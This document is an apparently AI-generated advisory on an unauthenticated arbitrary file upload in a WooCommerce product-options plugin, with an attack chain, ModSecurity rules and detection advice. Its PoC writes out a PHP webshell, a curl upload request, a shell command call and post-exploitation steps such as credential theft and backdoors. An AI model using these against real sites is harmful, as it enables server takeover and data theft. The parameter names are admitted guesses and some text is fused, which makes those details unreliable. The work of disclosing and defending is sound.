CVE-2026-136988 — ThemeComplete Extra Product Options & Add-Ons Fo — CWE-434
The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 7.6.2 via the `upload_file()` function called through the `wc_bookings_calculate_costs` AJAX action. This is due to the plugin's extension and MIME allow-list check existing exclusively inside the `woocommerce_add_to_cart_validation()` callback, which is never triggered when EPO's `adjust_booking_cost()` method calls `tm_add_cart_item_data()` directly — a path that reaches `wp_handle_upload()` with `test_type=false` and `ALLOW_UNFILTERED_UPLOADS` defined as `true`, fully bypassing WordPress core's filetype checks. This makes it possible for unauthenticated attackers to upload files of any extension, including `.php`, to the `wp-content/uploads/extra_product_options/` directory, potentially enabling remote code execution on the server. Exploitation requires WooCommerce Bookings or Easy Booking to be active and at least one bookable product to be configured with an EPO file-upload element.
The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 7.6.2 via the `upload_file()` function called through the `wc_bookings_calculate_costs` AJAX action. This is due to the plugin's extension and MIME allow-list check existing exclusively inside the `woocommerce_add_to_cart_validation()` callback, which is never triggered when EPO's `adjust_booking_cost()` method calls `tm_add_cart_item_data()` directly — a path that reaches `wp_handle_upload()` with `test_type=false` and `ALLOW_UNFILTERED_UPLOADS` defined as `true`, fully bypassing WordPress core's filetype checks. This makes it possible for unauthenticated attackers to upload files of any extension, including `.php`, to the `wp-content/uploads/extra_product_options/` directory, potentially enabling remote code execution on the server. Exploitation requires WooCommerce Bookings or Easy Booking to be active and at least one bookable product to be configured with an EPO file-upload element.
🎯 What is this vulnerability?
This vulnerability is a Critical Arbitrary File Upload (CWE-434) leading to Remote Code Execution (RCE) in the Extra Product Options & Add-Ons for WooCommerce plugin.
The Technical Flaw:
The vulnerability stems from a logic bypass in the file upload validation mechanism. The plugin implements its own security checks (extension and MIME type allow-lists) exclusively within the woocommerce_add_to_cart_validation() callback. However, the plugin's adjust_booking_cost() method calls tm_add_cart_item_data() directly, bypassing the standard WooCommerce cart validation hook.
This direct call path triggers the upload_file() function, which eventually invokes WordPress core's wp_handle_upload(). Crucially, this invocation occurs with:
1. test_type=false: Disabling WordPress's internal MIME type sniffing.
2. ALLOW_UNFILTERED_UPLOADS defined as true: This is a critical misconfiguration or intentional override within the plugin's context that disables WordPress core's final safety net against executable file uploads.
Because the plugin's custom validation logic is skipped in this specific code path, an unauthenticated attacker can upload files with arbitrary extensions (e.g., .php) to the wp-content/uploads/extra_product_options/ directory. Since this directory is typically web-accessible, the uploaded PHP file can be executed directly by the web server.
CVSS Analysis (8.1 HIGH):
- AV:N / AC:H: Network vector with High complexity. The complexity is high because it requires specific preconditions: WooCommerce Bookings or Easy Booking must be active, and a bookable product must be configured with an EPO file-upload element.
- PR:N / UI:N: No privileges or user interaction required.
- C:H / I:H / A:H: Full compromise of Confidentiality, Integrity, and Availability due to RCE.
- Plugin Identification: Use tools like
wpscanorwhatwebto identify the presence of theextra-product-optionsplugin.
⚡ Attack Chain
1. Discovery & Reconnaissance
wpscan --url https://target.com --plugin-detection --enumerate p<= 7.6.2.2. Exploitation
The attacker sends a malicious PHP file via thewc_bookings_calculate_costs AJAX action. This action is typically accessible without authentication if the product is public.Illustrative PoC (curl):
Note: The exact parameter names for the file upload field depend on the specific EPO configuration. The following is a realistic representation of the attack vector.
# 1. Create a malicious PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 2. Send the file via the vulnerable AJAX action
# The action 'wc_bookings_calculate_costs' is triggered by the EPO plugin's cost calculation logic
# The file is attached to the request, likely under a parameter name like 'epo_file_upload' or similar
# The 'test_type=false' and 'ALLOW_UNFILTERED_UPLOADS=true' context is handled internally by the plugin code path
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-H "Content-Type: multipart/form-data" \
-H "X-Requested-With: XMLHttpRequest" \
-F "action=wc_bookings_calculate_costs" \
-F "product_id=123" \
-F "[email protected]" \
-F "epo_file_name=shell.php" \
-F "epo_file_mime=application/octet-stream"Key Technical Detail:
The request does not require a valid nonce for the wc_bookings_calculate_costs action if the action is not protected by check_ajax_referer or if the nonce is predictable/missing in this specific unauthenticated context. The vulnerability description states it is exploitable by unauthenticated attackers, implying the AJAX endpoint is accessible without a logged-in session or valid nonce for this specific action.
3. Post-Exploitation
1. Locate the Uploaded File: The file is saved towp-content/uploads/extra_product_options/. The filename may be randomized or based on the original name.
* Example URL: https://target.com/wp-content/uploads/extra_product_options/shell.php
2. Execute Commands:curl "https://target.com/wp-content/uploads/extra_product_options/shell.php?cmd=id"3. Privilege Escalation & Persistence:
* Use the RCE to read wp-config.php and extract database credentials.
* Create a new WordPress admin user via the database or by modifying wp_users and wp_usermeta.
* Install a persistent backdoor (e.g., a malicious plugin or theme).
* Exfiltrate sensitive data (customer PII, payment information) from the database.
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
7.6.2.7.6.3 or later, where the validation logic is corrected to apply to all code paths, including adjust_booking_cost()).
Note: Verify the exact fixed version from the vendor's changelog.*2. Workarounds (If Immediate Update is Not Possible)
admin-ajax.php with action=wc_bookings_calculate_costs if the user is not authenticated (if business logic allows).
* Block file uploads with .php, .phtml, .phar, etc., to the wp-content/uploads/ directory.ModSecurity Rule Example (Illustrative):
# Block PHP file uploads to the uploads directory
SecRule REQUEST_FILENAME "@rx /wp-content/uploads/" \
"id:100001,phase:2,deny,status:403,msg:'PHP upload to uploads dir blocked'"
# Block specific AJAX action if unauthenticated (adjust based on business needs)
SecRule REMOTE_USER "!@streq admin" \
"id:100002,phase:2,deny,status:403,msg:'Unauthenticated access to wc_bookings_calculate_costs'"Note: The above rules are illustrative. Fine-tuning is required to avoid false positives.
wp-content/uploads/ directory is not executable by the web server user. This can be done by setting the ExecCGI and ExecPHP directives to Off in Apache, or by using a separate web server user for static files.
Caveat*: This may break other legitimate functionality if the site relies on PHP execution from the uploads directory (which is a bad practice anyway).3. Detection & IoCs
POST requests to /wp-admin/admin-ajax.php with action=wc_bookings_calculate_costs from unauthenticated users.
* Look for file creation events in the wp-content/uploads/extra_product_options/ directory.
.php files in wp-content/uploads/.
* Use tools like auditd (Linux) or Sysmon (Windows) to detect file creation in sensitive directories.
⚠️ Urgency
Despite the high complexity, the impact is severe (RCE), and the attack vector is network-based with no authentication required. Any site with the vulnerable plugin version and the specific configuration (Bookings + EPO file upload) is at immediate risk.
Immediate Actions:
1. Update the plugin to the latest version.
2. If update is not possible, deactivate the plugin or remove file upload fields from bookable products.
3. Audit the server for any existing webshells in wp-content/uploads/extra_product_options/.
4. Rotate all credentials (database, admin users, API keys) if compromise is suspected.
[🤖 CVE Professor AI Security Engine]
FOFA Query